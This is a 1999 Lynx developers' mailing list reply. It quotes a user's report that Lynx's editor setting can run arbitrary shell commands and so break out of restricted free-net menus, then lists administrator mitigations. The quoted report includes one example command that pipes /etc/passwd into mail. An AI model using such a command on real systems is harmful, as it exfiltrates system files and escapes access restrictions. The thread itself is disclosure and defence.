Re: lynx-dev Running Shell Commands off of Lynx

[Klaus Weide]

On Sat, 16 Jan 1999, Andrew Chen wrote:
> Before I get to anything, I'm not subscribed on the Lynx development list,
> so any messages from that group will need to be forwarded to me.
> 
> The problem is that in Lynx (running 2.8r2 and this should also effect the
> 2.7 line), you can specify whatever editor you want in the options menu
> (press 'o' and then 'e') and thus you can put in whatever commands you
> want. For example, just assign the editor to:
> 
> "cat /etc/passwd | mail address@hidden"
> 
> and then type in a "mailto:address@hidden"; Eventually near the end, when it
> asks if you want to edit the message, you can get the command executed.
> 
> This probably wouldn't be a problem (since the commands just run as the
> user) except that quite a few situations involving "free-nets" (and
> possibly others) the user telnets in, is presented with a menu and is only
> supposed to do certain things (like send e-mail, browse the web). However,
> this thing in Lynx allows users to change their shell, which quite a few
> places are not prepared to deal with.

There is a variety of methods in Lynx that the administrator can choose
to prevent the user from changing, or from using, the editor:

1) Set SYSTEM_EDITOR in lynx.cfg
2) Invoke Lynx with -restrictions=editor
3) Invoke lynx with -anonymous

Of course, anyone allowing users access to Lynx when those users
should not have full shell access is supposed to know what they are
doing, which includes being aware of -restrictions and having read
the comments in lynx.cfg.

    Klaus